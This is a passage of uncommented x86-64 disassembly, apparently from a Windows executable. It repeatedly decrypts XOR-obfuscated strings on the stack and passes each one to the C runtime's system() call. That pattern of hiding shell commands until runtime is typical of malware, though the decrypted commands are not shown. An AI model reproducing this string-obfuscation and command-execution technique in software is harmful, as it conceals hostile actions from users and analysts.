movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000e880
cmp r8d, 0x7d
jge 0x14000e9c0
movsxd rax, r8d
lea r9, [rbp + 0xc50]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14000e990
lea rcx, [rbp + 0xc50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x9e570]
lea rcx, [rbp + 0x3200]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, esi
cmp r15d, 2
jl 0x14000eb99
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3204]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x14000ea90
cmp r8d, 0xa1
jge 0x14000ebe3
movsxd rax, r8d
lea r9, [rbp + 0x3200]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x14000ebb0
lea rcx, [rbp + 0x3200]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e1f0]
movups xmmword [rbp + 0x12d0], xmm0
movups xmm0, xmmword [0x14009e210]
movups xmm1, xmmword [0x14009e200]
movups xmmword [rbp + 0x12f0], xmm0
movups xmmword [rbp + 0x12e0], xmm1
mov eax, dword [0x14009e280]
movups xmm0, xmmword [0x14009e230]
movups xmm1, xmmword [0x14009e220]
mov dword [rbp + 0x1360], eax
movups xmmword [rbp + 0x1310], xmm0
movups xmmword [rbp + 0x1300], xmm1
movzx eax, word [0x14009e284]
movups xmm0, xmmword [0x14009e250]
movups xmm1, xmmword [0x14009e240]
mov word [rbp + 0x1364], ax
movups xmmword [rbp + 0x1330], xmm0
movups xmmword [rbp + 0x1320], xmm1
movzx eax, byte [0x14009e286]
movups xmm0, xmmword [0x14009e270]
movups xmm1, xmmword [0x14009e260]
mov byte [rbp + 0x1366], al
movups xmmword [rbp + 0x1350], xmm0
movups xmmword [rbp + 0x1340], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000ede9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x12d4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000ece0
cmp r8d, 0x97
jge 0x14000ee33
movsxd rax, r8d
lea r9, [rbp + 0x12d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000ee00
lea rcx, [rbp + 0x12d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c860]
movups xmmword [rbp + 0x21d0], xmm0
movups xmm0, xmmword [0x14009c880]
movups xmmword [rbp + 0x21f0], xmm0
movups xmm0, xmmword [0x14009c8a0]
movups xmm1, xmmword [0x14009c870]
movups xmmword [rbp + 0x2210], xmm0
movups xmmword [rbp + 0x21e0], xmm1
movups xmm0, xmmword [0x14009c8c0]
movups xmm1, xmmword [0x14009c890]
movups xmmword [rbp + 0x2230], xmm0
movups xmmword [rbp + 0x2200], xmm1
movups xmm0, xmmword [0x14009c8e0]
movups xmm1, xmmword [0x14009c8b0]
movups xmmword [rbp + 0x2250], xmm0
movups xmmword [rbp + 0x2220], xmm1
mov eax, dword [0x14009c8f8]
movsd xmm0, qword [0x14009c8f0]
movups xmm1, xmmword [0x14009c8d0]
mov dword [rbp + 0x2268], eax
movsd qword [rbp + 0x2260], xmm0
movups xmmword [rbp + 0x2240], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000f02b
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x21d4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000ef22
cmp r8d, 0x9c
jge 0x14000f073
movsxd rax, r8d
lea r9, [rbp + 0x21d0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x14000f040
lea rcx, [rbp + 0x21d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0x9e9f0]
lea rdx, [rbp + 0x3410]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, word [rcx + 0xac]
mov word [rdx + 0x2c], ax
mov r8d, esi
cmp r15d, 2
jl 0x14000f259
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3414]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x14000f150
cmp r8d, 0xae
jge 0x14000f2a3
movsxd rax, r8d
lea r9, [rbp + 0x3410]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x14000f270
lea rcx, [rbp + 0x3410]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c2a0]
movups xmmword [rbp + 0x1370], xmm0
movups xmm0, xmmword [0x14009c2c0]
movups xmm1, xmmword [0x14009c2b0]
movups xmmword [rbp + 0x1390], xmm0
movups xmmword [rbp + 0x1380], xmm1
mov eax, dword [0x14009c330]
movups xmm0, xmmword [0x14009c2e0]
movups xmm1, xmmword [0x14009c2d0]
mov dword [rbp + 0x1400], eax
movups xmmword [rbp + 0x13b0], xmm0
movups xmmword [rbp + 0x13a0], xmm1
movzx eax, word [0x14009c334]
movups xmm0, xmmword [0x14009c300]
movups xmm1, xmmword [0x14009c2f0]
mov word [rbp + 0x1404], ax
movups xmmword [rbp + 0x13d0], xmm0
movups xmmword [rbp + 0x13c0], xmm1
movzx eax, byte [0x14009c336]
movups xmm0, xmmword [0x14009c320]
movups xmm1, xmmword [0x14009c310]
mov byte [rbp + 0x1406], al
movups xmmword [rbp + 0x13f0], xmm0
movups xmmword [rbp + 0x13e0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000f4a9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1374]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000f3a0
movsxd rax, r8d
lea r9, [rbp + 0x1370]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000f4c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3